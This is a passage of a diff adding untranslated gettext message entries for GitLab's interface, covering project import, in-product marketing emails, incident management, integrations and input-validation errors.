+msgstr ""
+
+msgid "IDE|This option is disabled because you don't have write permissions for the current branch."
+msgstr ""
+
+msgid "INFO: Your SSH key has expired. Please generate a new key."
+msgstr ""
+
+msgid "INFO: Your SSH key is expiring soon. Please generate a new key."
+msgstr ""
+
+msgid "IP Address"
+msgstr ""
+
+msgid "IP subnet restriction only allowed for top-level groups"
+msgstr ""
+
+msgid "Identifier"
+msgstr ""
+
+msgid "Identifiers"
+msgstr ""
+
+msgid "Identities"
+msgstr ""
+
+msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgstr ""
+
+msgid "If blank, set allowable lifetime to %{instance_level_policy_in_words}, as defined by the instance admin. Once set, existing tokens for users in this group may be revoked."
+msgstr ""
+
+msgid "If checked, group owners can manage LDAP group links and LDAP member overrides"
+msgstr ""
+
+msgid "If checked, new group memberships and permissions can only be added via LDAP synchronization"
+msgstr ""
+
+msgid "If disabled, a diverged local branch will not be automatically updated with commits from its remote counterpart, to prevent local data loss. If the default branch (%{default_branch}) has diverged and cannot be updated, mirroring will fail. Other diverged branches are silently ignored."
+msgstr ""
+
+msgid "If disabled, only admins will be able to configure repository mirroring."
+msgstr ""
+
+msgid "If enabled, GitLab will handle Object Storage replication using Geo. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "If enabled, access to projects will be validated on an external service using their classification label."
+msgstr ""
+
+msgid "If enabled, only protected branches will be mirrored."
+msgstr ""
+
+msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
+msgstr ""
+
+msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
+msgstr ""
+
+msgid "If there is no previous license or if the previous license has expired, some GitLab functionality will be blocked until a new, valid license is uploaded."
+msgstr ""
+
+msgid "If this was a mistake you can %{leave_link_start}leave the %{source_type}%{link_end}."
+msgstr ""
+
+msgid "If this was a mistake you can leave the %{source_type}."
+msgstr ""
+
+msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
+msgstr ""
+
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
+msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
+msgstr ""
+
+msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
+msgstr ""
+
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
+msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
+msgstr ""
+
+msgid "If you recently signed in and recognize the IP address, you may disregard this email."
+msgstr ""
+
+msgid "If you remove this license, GitLab will fall back on the previous license, if any."
+msgstr ""
+
+msgid "If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
+msgid "If your HTTP repository is not publicly accessible, add your credentials."
+msgstr ""
+
+msgid "Ignore"
+msgstr ""
+
+msgid "Ignored"
+msgstr ""
+
+msgid "Image URL"
+msgstr ""
+
+msgid "Image details"
+msgstr ""
+
+msgid "ImageDiffViewer|2-up"
+msgstr ""
+
+msgid "ImageDiffViewer|Onion skin"
+msgstr ""
+
+msgid "ImageDiffViewer|Swipe"
+msgstr ""
+
+msgid "ImageViewerDimensions|H"
+msgstr ""
+
+msgid "ImageViewerDimensions|W"
+msgstr ""
+
+msgid "Impersonation Tokens"
+msgstr ""
+
+msgid "Impersonation has been disabled"
+msgstr ""
+
+msgid "Import"
+msgstr ""
+
+msgid "Import %d compatible repository"
+msgid_plural "Import %d compatible repositories"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Import %d repository"
+msgid_plural "Import %d repositories"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Import CSV"
+msgstr ""
+
+msgid "Import Projects from Gitea"
+msgstr ""
+
+msgid "Import an exported GitLab project"
+msgstr ""
+
+msgid "Import failed due to a GitHub error: %{original}"
+msgstr ""
+
+msgid "Import from"
+msgstr ""
+
+msgid "Import from Jira"
+msgstr ""
+
+msgid "Import group"
+msgstr ""
+
+msgid "Import group from file"
+msgstr ""
+
+msgid "Import groups"
+msgstr ""
+
+msgid "Import in progress"
+msgstr ""
+
+msgid "Import in progress. Refresh page to see newly added issues."
+msgstr ""
+
+msgid "Import issues"
+msgstr ""
+
+msgid "Import members"
+msgstr ""
+
+msgid "Import members from another project"
+msgstr ""
+
+msgid "Import multiple repositories by uploading a manifest file."
+msgstr ""
+
+msgid "Import project"
+msgstr ""
+
+msgid "Import project from"
+msgstr ""
+
+msgid "Import project members"
+msgstr ""
+
+msgid "Import projects from Bitbucket"
+msgstr ""
+
+msgid "Import projects from Bitbucket Server"
+msgstr ""
+
+msgid "Import projects from FogBugz"
+msgstr ""
+
+msgid "Import projects from GitLab.com"
+msgstr ""
+
+msgid "Import repositories from Bitbucket Server"
+msgstr ""
+
+msgid "Import repositories from GitHub"
+msgstr ""
+
+msgid "Import repository"
+msgstr ""
+
+msgid "Import requirements"
+msgstr ""
+
+msgid "Import started by: %{importInitiator}"
+msgstr ""
+
+msgid "Import tasks"
+msgstr ""
+
+msgid "Import tasks from Phabricator into issues"
+msgstr ""
+
+msgid "Import timed out. Import took longer than %{import_jobs_expiration} seconds"
+msgstr ""
+
+msgid "Import/Export Rate Limits"
+msgstr ""
+
+msgid "ImportButtons|Connect repositories from"
+msgstr ""
+
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
+msgid "ImportProjects|Blocked import URL: %{message}"
+msgstr ""
+
+msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
+msgstr ""
+
+msgid "ImportProjects|Import repositories"
+msgstr ""
+
+msgid "ImportProjects|Importing the project failed"
+msgstr ""
+
+msgid "ImportProjects|Importing the project failed: %{reason}"
+msgstr ""
+
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
+msgid "ImportProjects|Requesting your %{provider} repositories failed"
+msgstr ""
+
+msgid "ImportProjects|Select the repositories you want to import"
+msgstr ""
+
+msgid "ImportProjects|The remote data could not be imported."
+msgstr ""
+
+msgid "ImportProjects|The repository could not be created."
+msgstr ""
+
+msgid "ImportProjects|Update of imported projects with realtime changes failed"
+msgstr ""
+
+msgid "Imported requirements"
+msgstr ""
+
+msgid "Importing %d repository"
+msgid_plural "Importing %d repositories"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Importing..."
+msgstr ""
+
+msgid "Improve customer support with Service Desk"
+msgstr ""
+
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
+msgstr ""
+
+msgid "In %{time_to_now}"
+msgstr ""
+
+msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
+msgstr ""
+
+msgid "In progress"
+msgstr ""
+
+msgid "InProductMarketing|%{strong_start}Advanced application security%{strong_end} — including SAST, DAST scanning, FUZZ testing, dependency scanning, license compliance, secrete detection"
+msgstr ""
+
+msgid "InProductMarketing|%{strong_start}Company wide portfolio management%{strong_end} — including multi-level epics, scoped labels"
+msgstr ""
+
+msgid "InProductMarketing|%{strong_start}Executive level insights%{strong_end} — including reporting on productivity, tasks by type, days to completion, value stream"
+msgstr ""
+
+msgid "InProductMarketing|%{strong_start}GitLab Inc.%{strong_end} 268 Bush Street, #350, San Francisco, CA 94104, USA"
+msgstr ""
+
+msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
+msgstr ""
+
+msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
+msgstr ""
+
+msgid "InProductMarketing|...and you can get a free trial of GitLab Gold"
+msgstr ""
+
+msgid "InProductMarketing|3 ways to dive into GitLab CI/CD"
+msgstr ""
+
+msgid "InProductMarketing|Actually, GitLab makes the team work (better)"
+msgstr ""
+
+msgid "InProductMarketing|And finally %{deploy_link} a Python application."
+msgstr ""
+
+msgid "InProductMarketing|Are your runners ready?"
+msgstr ""
+
+msgid "InProductMarketing|Automated security scans directly within GitLab"
+msgstr ""
+
+msgid "InProductMarketing|Beef up your security"
+msgstr ""
+
+msgid "InProductMarketing|Better code in less time"
+msgstr ""
+
+msgid "InProductMarketing|Blog"
+msgstr ""
+
+msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
+msgstr ""
+
+msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Gold and enable these features in less than 5 minutes with no credit card required."
+msgstr ""
+
+msgid "InProductMarketing|Create a project in GitLab in 5 minutes"
+msgstr ""
+
+msgid "InProductMarketing|Create your first project!"
+msgstr ""
+
+msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
+msgstr ""
+
+msgid "InProductMarketing|Dig in and create a project and a repo"
+msgstr ""
+
+msgid "InProductMarketing|Explore GitLab CI/CD"
+msgstr ""
+
+msgid "InProductMarketing|Explore the options"
+msgstr ""
+
+msgid "InProductMarketing|Explore the power of GitLab CI/CD"
+msgstr ""
+
+msgid "InProductMarketing|Facebook"
+msgstr ""
+
+msgid "InProductMarketing|Feel the need for speed?"
+msgstr ""
+
+msgid "InProductMarketing|Find out how your teams are really doing"
+msgstr ""
+
+msgid "InProductMarketing|Follow our steps"
+msgstr ""
+
+msgid "InProductMarketing|Get going with CI/CD quickly using our %{quick_start_link}. Start with an available runner and then create a CI .yml file – it's really that easy."
+msgstr ""
+
+msgid "InProductMarketing|Get our import guides"
+msgstr ""
+
+msgid "InProductMarketing|Get started today"
+msgstr ""
+
+msgid "InProductMarketing|Get started today with a 30-day GitLab Gold trial, no credit card required."
+msgstr ""
+
+msgid "InProductMarketing|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "InProductMarketing|Get to know GitLab CI/CD"
+msgstr ""
+
+msgid "InProductMarketing|Get your team set up on GitLab"
+msgstr ""
+
+msgid "InProductMarketing|Git basics"
+msgstr ""
+
+msgid "InProductMarketing|GitHub Enterprise projects to GitLab"
+msgstr ""
+
+msgid "InProductMarketing|GitLab provides static application security testing (SAST), dynamic application security testing (DAST), container scanning, and dependency scanning to help you deliver secure applications along with license compliance."
+msgstr ""
+
+msgid "InProductMarketing|GitLab's CI/CD makes software development easier. Don't believe us? Here are three ways you can take it for a fast (and satisfying) test drive:"
+msgstr ""
+
+msgid "InProductMarketing|GitLab's premium tiers are designed to make you, your team and your application more efficient and more secure with features including but not limited to:"
+msgstr ""
+
+msgid "InProductMarketing|Give us one minute..."
+msgstr ""
+
+msgid "InProductMarketing|Go farther with GitLab"
+msgstr ""
+
+msgid "InProductMarketing|Go for the gold!"
+msgstr ""
+
+msgid "InProductMarketing|Goldman Sachs went from 1 build every two weeks to thousands of builds a day"
+msgstr ""
+
+msgid "InProductMarketing|Have a different instance you'd like to import? Here's our %{import_link}."
+msgstr ""
+
+msgid "InProductMarketing|Here's what you need to know"
+msgstr ""
+
+msgid "InProductMarketing|How (and why) mirroring makes sense"
+msgstr ""
+
+msgid "InProductMarketing|How long does it take us to close issues/MRs by types like feature requests, bugs, tech debt, security?"
+msgstr ""
+
+msgid "InProductMarketing|How many days does it take our team to complete various tasks?"
+msgstr ""
+
+msgid "InProductMarketing|How to build and test faster"
+msgstr ""
+
+msgid "InProductMarketing|If you no longer wish to receive marketing emails from us,"
+msgstr ""
+
+msgid "InProductMarketing|Import your project and code from GitHub, Bitbucket and others"
+msgstr ""
+
+msgid "InProductMarketing|Improve app security with a 30-day trial"
+msgstr ""
+
+msgid "InProductMarketing|Improve code quality and streamline reviews"
+msgstr ""
+
+msgid "InProductMarketing|Invite your colleagues and start shipping code faster."
+msgstr ""
+
+msgid "InProductMarketing|Invite your colleagues to join in less than one minute"
+msgstr ""
+
+msgid "InProductMarketing|Invite your colleagues today"
+msgstr ""
+
+msgid "InProductMarketing|Invite your team in less than 60 seconds"
+msgstr ""
+
+msgid "InProductMarketing|Invite your team now"
+msgstr ""
+
+msgid "InProductMarketing|It's all in the stats"
+msgstr ""
+
+msgid "InProductMarketing|It's also possible to simply %{external_repo_link} in order to take advantage of GitLab's CI/CD."
+msgstr ""
+
+msgid "InProductMarketing|Launch GitLab CI/CD in 20 minutes or less"
+msgstr ""
+
+msgid "InProductMarketing|Making the switch? It's easier than you think to import your projects into GitLab. Move %{github_link}, or import something %{bitbucket_link}."
+msgstr ""
+
+msgid "InProductMarketing|Master the art of importing!"
+msgstr ""
+
+msgid "InProductMarketing|Move on to easily creating a Pages website %{ci_template_link}"
+msgstr ""
+
+msgid "InProductMarketing|Multiple owners, confusing workstreams? We've got you covered"
+msgstr ""
+
+msgid "InProductMarketing|Need an alternative to importing?"
+msgstr ""
+
+msgid "InProductMarketing|Our tool brings all the things together"
+msgstr ""
+
+msgid "InProductMarketing|Rapid development, simplified"
+msgstr ""
+
+msgid "InProductMarketing|Security that's integrated into your development lifecycle"
+msgstr ""
+
+msgid "InProductMarketing|Sometimes you're not ready to make a full transition to a new tool. If you're not ready to fully commit, %{mirroring_link} gives you a safe way to try out GitLab in parallel with your current tool."
+msgstr ""
+
+msgid "InProductMarketing|Start a GitLab Gold trial today in less than one minute, no credit card required."
+msgstr ""
+
+msgid "InProductMarketing|Start a free trial of GitLab Ultimate – no CC required"
+msgstr ""
+
+msgid "InProductMarketing|Start a trial"
+msgstr ""
+
+msgid "InProductMarketing|Start by %{performance_link}"
+msgstr ""
+
+msgid "InProductMarketing|Start by importing your projects"
+msgstr ""
+
+msgid "InProductMarketing|Start with a GitLab Gold free trial"
+msgstr ""
+
+msgid "InProductMarketing|Stop wondering and use GitLab to answer questions like:"
+msgstr ""
+
+msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
+msgstr ""
+
+msgid "InProductMarketing|Take your first steps with GitLab"
+msgstr ""
+
+msgid "InProductMarketing|Take your source code management to the next level"
+msgstr ""
+
+msgid "InProductMarketing|Team work makes the dream work"
+msgstr ""
+
+msgid "InProductMarketing|Test, create, deploy"
+msgstr ""
+
+msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
+msgstr ""
+
+msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgstr ""
+
+msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
+msgstr ""
+
+msgid "InProductMarketing|Tired of wrestling with disparate tool chains, information silos and inefficient processes? GitLab's CI/CD is built on a DevOps platform with source code management, planning, monitoring and more ready to go. Find out %{ci_link}."
+msgstr ""
+
+msgid "InProductMarketing|To understand and get the most out of GitLab, start at the beginning and %{project_link}. In GitLab, repositories are part of a project, so after you've created your project you can go ahead and %{repo_link}."
+msgstr ""
+
+msgid "InProductMarketing|Try GitLab Gold for free"
+msgstr ""
+
+msgid "InProductMarketing|Try it out"
+msgstr ""
+
+msgid "InProductMarketing|Try it yourself"
+msgstr ""
+
+msgid "InProductMarketing|Twitter"
+msgstr ""
+
+msgid "InProductMarketing|Understand repository mirroring"
+msgstr ""
+
+msgid "InProductMarketing|Understand your project options"
+msgstr ""
+
+msgid "InProductMarketing|Use GitLab CI/CD"
+msgstr ""
+
+msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Gold and your teams will be on it from day one."
+msgstr ""
+
+msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
+msgstr ""
+
+msgid "InProductMarketing|When your team is on GitLab these answers are a click away."
+msgstr ""
+
+msgid "InProductMarketing|Working in GitLab = more efficient"
+msgstr ""
+
+msgid "InProductMarketing|YouTube"
+msgstr ""
+
+msgid "InProductMarketing|Your teams can be more efficient"
+msgstr ""
+
+msgid "InProductMarketing|comprehensive guide"
+msgstr ""
+
+msgid "InProductMarketing|connect an external repository"
+msgstr ""
+
+msgid "InProductMarketing|create a project"
+msgstr ""
+
+msgid "InProductMarketing|from Bitbucket"
+msgstr ""
+
+msgid "InProductMarketing|go to about.gitlab.com"
+msgstr ""
+
+msgid "InProductMarketing|how easy it is to get started"
+msgstr ""
+
+msgid "InProductMarketing|quick start guide"
+msgstr ""
+
+msgid "InProductMarketing|repository mirroring"
+msgstr ""
+
+msgid "InProductMarketing|set up a repo"
+msgstr ""
+
+msgid "InProductMarketing|test and deploy"
+msgstr ""
+
+msgid "InProductMarketing|testing browser performance"
+msgstr ""
+
+msgid "InProductMarketing|unsubscribe"
+msgstr ""
+
+msgid "InProductMarketing|using a CI/CD template"
+msgstr ""
+
+msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
+msgstr ""
+
+msgid "Incident"
+msgstr ""
+
+msgid "Incident Management Limits"
+msgstr ""
+
+msgid "Incident template (optional)"
+msgstr ""
+
+msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
+msgstr ""
+
+msgid "IncidentManagement|%{minutes} minutes remaining"
+msgstr ""
+
+msgid "IncidentManagement|All"
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
+msgid "IncidentManagement|Assignees"
+msgstr ""
+
+msgid "IncidentManagement|Closed"
+msgstr ""
+
+msgid "IncidentManagement|Create incident"
+msgstr ""
+
+msgid "IncidentManagement|Critical - S1"
+msgstr ""
+
+msgid "IncidentManagement|Date created"
+msgstr ""
+
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
+msgid "IncidentManagement|High - S2"
+msgstr ""
+
+msgid "IncidentManagement|Incident"
+msgstr ""
+
+msgid "IncidentManagement|Incidents"
+msgstr ""
+
+msgid "IncidentManagement|Low - S4"
+msgstr ""
+
+msgid "IncidentManagement|Medium - S3"
+msgstr ""
+
+msgid "IncidentManagement|No incidents to display."
+msgstr ""
+
+msgid "IncidentManagement|Open"
+msgstr ""
+
+msgid "IncidentManagement|Published"
+msgstr ""
+
+msgid "IncidentManagement|Published to status page"
+msgstr ""
+
+msgid "IncidentManagement|Severity"
+msgstr ""
+
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
+msgid "IncidentManagement|There was an error displaying the incidents."
+msgstr ""
+
+msgid "IncidentManagement|Time to SLA"
+msgstr ""
+
+msgid "IncidentManagement|Unassigned"
+msgstr ""
+
+msgid "IncidentManagement|Unknown"
+msgstr ""
+
+msgid "IncidentManagement|Unpublished"
+msgstr ""
+
+msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
+msgstr ""
+
+msgid "IncidentSettings|Alert integration"
+msgstr ""
+
+msgid "IncidentSettings|Grafana integration"
+msgstr ""
+
+msgid "IncidentSettings|Incident settings"
+msgstr ""
+
+msgid "IncidentSettings|Incidents"
+msgstr ""
+
+msgid "IncidentSettings|PagerDuty integration"
+msgstr ""
+
+msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
+msgstr ""
+
+msgid "IncidentSettings|Time limit"
+msgstr ""
+
+msgid "IncidentSettings|Time limit must be a multiple of 15 minutes"
+msgstr ""
+
+msgid "IncidentSettings|Time limit must be a valid number"
+msgstr ""
+
+msgid "IncidentSettings|Time limit must be greater than 0"
+msgstr ""
+
+msgid "IncidentSettings|When activated, this will apply to all new incidents within the project"
+msgstr ""
+
+msgid "IncidentSettings|You may choose to introduce a countdown timer in incident issues to better track Service Level Agreements (SLAs). The timer is automatically started when the incident is created, and sets a time limit for the incident to be resolved in. When activated, \"time to SLA\" countdown will appear on all new incidents."
+msgstr ""
+
+msgid "IncidentSettings|hours"
+msgstr ""
+
+msgid "IncidentSettings|minutes"
+msgstr ""
+
+msgid "Incidents"
+msgstr ""
+
+msgid "Incidents|Add a URL"
+msgstr ""
+
+msgid "Incidents|Drop or %{linkStart}upload%{linkEnd} a metric screenshot to attach it to the incident"
+msgstr ""
+
+msgid "Incidents|Must start with http or https"
+msgstr ""
+
+msgid "Incidents|There was an issue deleting the image."
+msgstr ""
+
+msgid "Incidents|There was an issue loading metric images."
+msgstr ""
+
+msgid "Incidents|There was an issue uploading your image."
+msgstr ""
+
+msgid "Incidents|You can optionally add a URL to link users to the original graph."
+msgstr ""
+
+msgid "Incident|Alert details"
+msgstr ""
+
+msgid "Incident|Are you sure you wish to delete this image?"
+msgstr ""
+
+msgid "Incident|Deleting %{filename}"
+msgstr ""
+
+msgid "Incident|Metrics"
+msgstr ""
+
+msgid "Incident|Summary"
+msgstr ""
+
+msgid "Incident|There was an issue loading alert data. Please try again."
+msgstr ""
+
+msgid "Incident|There was an issue loading incident data. Please try again."
+msgstr ""
+
+msgid "Include a Terms of Service agreement and Privacy Policy that all users must accept."
+msgstr ""
+
+msgid "Include author name in notification email body"
+msgstr ""
+
+msgid "Include description in commit message"
+msgstr ""
+
+msgid "Include merge request description"
+msgstr ""
+
+msgid "Include the username in the URL if required: %{code_open}https://username@gitlab.company.com/group/project.git%{code_close}."
+msgstr ""
+
+msgid "Includes LFS objects. It can be overridden per group, or per project. 0 for unlimited."
+msgstr ""
+
+msgid "Includes an MVC structure to help you get started"
+msgstr ""
+
+msgid "Includes an MVC structure, Gemfile, Rakefile, along with many others, to help you get started"
+msgstr ""
+
+msgid "Includes an MVC structure, mvnw and pom.xml to help you get started"
+msgstr ""
+
+msgid "Incoming email"
+msgstr ""
+
+msgid "Incoming!"
+msgstr ""
+
+msgid "Incompatible options set!"
+msgstr ""
+
+msgid "Incompatible project"
+msgstr ""
+
+msgid "Incomplete"
+msgstr ""
+
+msgid "Indent"
+msgstr ""
+
+msgid "Index all projects"
+msgstr ""
+
+msgid "Index deletion is canceled"
+msgstr ""
+
+msgid "Indicates whether this runner can pick jobs without tags"
+msgstr ""
+
+msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
+msgstr ""
+
+msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgstr ""
+
+msgid "Infrastructure Registry"
+msgstr ""
+
+msgid "Inherited"
+msgstr ""
+
+msgid "Inherited:"
+msgstr ""
+
+msgid "Inline"
+msgstr ""
+
+msgid "Input host keys manually"
+msgstr ""
+
+msgid "Input the remote repository URL"
+msgstr ""
+
+msgid "Insert a code block"
+msgstr ""
+
+msgid "Insert a quote"
+msgstr ""
+
+msgid "Insert a video"
+msgstr ""
+
+msgid "Insert an image"
+msgstr ""
+
+msgid "Insert code"
+msgstr ""
+
+msgid "Insert image"
+msgstr ""
+
+msgid "Insert inline code"
+msgstr ""
+
+msgid "Insert suggestion"
+msgstr ""
+
+msgid "Insert video"
+msgstr ""
+
+msgid "Insights"
+msgstr ""
+
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgstr ""
+
+msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
+msgstr ""
+
+msgid "Install"
+msgstr ""
+
+msgid "Install GitLab Runner and ensure it's running."
+msgstr ""
+
+msgid "Install GitLab Runner on Kubernetes"
+msgstr ""
+
+msgid "Install on clusters"
+msgstr ""
+
+msgid "Installation"
+msgstr ""
+
+msgid "Installed"
+msgstr ""
+
+msgid "Installing"
+msgstr ""
+
+msgid "Instance"
+msgid_plural "Instances"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Instance Configuration"
+msgstr ""
+
+msgid "Instance access request"
+msgstr ""
+
+msgid "Instance access request approved"
+msgstr ""
+
+msgid "Instance access request rejected"
+msgstr ""
+
+msgid "Instance administrators group already exists"
+msgstr ""
+
+msgid "Instance overview"
+msgstr ""
+
+msgid "Integration"
+msgstr ""
+
+msgid "Integration Settings"
+msgstr ""
+
+msgid "Integrations"
+msgstr ""
+
+msgid "Integrations|%{integration} settings saved and active."
+msgstr ""
+
+msgid "Integrations|%{integration} settings saved, but not active."
+msgstr ""
+
+msgid "Integrations|Add namespace"
+msgstr ""
+
+msgid "Integrations|Adding a namespace currently works only in browsers that allow cross‑site cookies. Please make sure to use %{firefox_link_start}Firefox%{firefox_link_end} or enable cross‑site cookies in your browser when adding a namespace."
+msgstr ""
+
+msgid "Integrations|All details"
+msgstr ""
+
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
+msgid "Integrations|Browser limitations"
+msgstr ""
+
+msgid "Integrations|Comment detail:"
+msgstr ""
+
+msgid "Integrations|Comment settings:"
+msgstr ""
+
+msgid "Integrations|Connection failed. Please check your settings."
+msgstr ""
+
+msgid "Integrations|Connection successful."
+msgstr ""
+
+msgid "Integrations|Create new issue in Jira"
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
+msgid "Integrations|Enable comments"
+msgstr ""
+
+msgid "Integrations|Failed to link namespace. Please try again."
+msgstr ""
+
+msgid "Integrations|Failed to load namespaces. Please try again."
+msgstr ""
+
+msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgstr ""
+
+msgid "Integrations|Includes commit title and branch"
+msgstr ""
+
+msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
+msgstr ""
+
+msgid "Integrations|Link namespaces"
+msgstr ""
+
+msgid "Integrations|Linked namespaces"
+msgstr ""
+
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
+msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
+msgstr ""
+
+msgid "Integrations|No available namespaces."
+msgstr ""
+
+msgid "Integrations|No linked namespaces"
+msgstr ""
+
+msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
+msgstr ""
+
+msgid "Integrations|Return to GitLab for Jira"
+msgstr ""
+
+msgid "Integrations|Save settings?"
+msgstr ""
+
+msgid "Integrations|Saving will update the default settings for all projects that are not using custom settings."
+msgstr ""
+
+msgid "Integrations|Search Jira issues"
+msgstr ""
+
+msgid "Integrations|Sign in to add namespaces"
+msgstr ""
+
+msgid "Integrations|Standard"
+msgstr ""
+
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
+msgid "Integrations|To keep this project going, create a new issue."
+msgstr ""
+
+msgid "Integrations|Update your projects on Packagist, the main Composer repository"
+msgstr ""
+
+msgid "Integrations|Use custom settings"
+msgstr ""
+
+msgid "Integrations|Use default settings"
+msgstr ""
+
+msgid "Integrations|Use the GitLab Slack application"
+msgstr ""
+
+msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
+msgstr ""
+
+msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
+msgstr ""
+
+msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
+msgstr ""
+
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
+msgid "Interactive mode"
+msgstr ""
+
+msgid "Interested parties can even contribute by pushing commits if they want to."
+msgstr ""
+
+msgid "Internal"
+msgstr ""
+
+msgid "Internal - The group and any internal projects can be viewed by any logged in user except external users."
+msgstr ""
+
+msgid "Internal - The project can be accessed by any logged in user except external users."
+msgstr ""
+
+msgid "Internal URL (optional)"
+msgstr ""
+
+msgid "Internal users"
+msgstr ""
+
+msgid "Internal users cannot be deactivated"
+msgstr ""
+
+msgid "Interval Pattern"
+msgstr ""
+
+msgid "Introducing Value Stream Analytics"
+msgstr ""
+
+msgid "Introducing Your DevOps Report"
+msgstr ""
+
+msgid "Invalid Insights config file detected"
+msgstr ""
+
+msgid "Invalid OS"
+msgstr ""
+
+msgid "Invalid URL"
+msgstr ""
+
+msgid "Invalid container_name"
+msgstr ""
+
+msgid "Invalid cursor parameter"
+msgstr ""
+
+msgid "Invalid cursor value provided"
+msgstr ""
+
+msgid "Invalid date"
+msgstr ""
+
+msgid "Invalid date format. Please use UTC format as YYYY-MM-DD"
+msgstr ""
+
+msgid "Invalid date range"
+msgstr ""
+
+msgid "Invalid feature"
+msgstr ""
+
+msgid "Invalid field"
+msgstr ""
+
+msgid "Invalid file format with specified file type"
+msgstr ""
+
+msgid "Invalid file."
+msgstr ""
+
+msgid "Invalid hash"
+msgstr ""
+
+msgid "Invalid import params"
+msgstr ""
+
+msgid "Invalid input, please avoid emojis"
+msgstr ""
+
+msgid "Invalid login or password"
+msgstr ""
+
+msgid "Invalid period"
+msgstr ""
+
+msgid "Invalid pin code"
+msgstr ""
+
+msgid "Invalid pod_name"
+msgstr ""
+
+msgid "Invalid query"
+msgstr ""
+
+msgid "Invalid repository bundle for snippet with id %{snippet_id}"
+msgstr ""
+
+msgid "Invalid repository path"
+msgstr ""
+
+msgid "Invalid search parameter"
+msgstr ""
+
+msgid "Invalid server response"
+msgstr ""
+
+msgid "Invalid start or end time format"
+msgstr ""
+
+msgid "Invalid status"
+msgstr ""
+
+msgid "Invalid two-factor code."
+msgstr ""
+
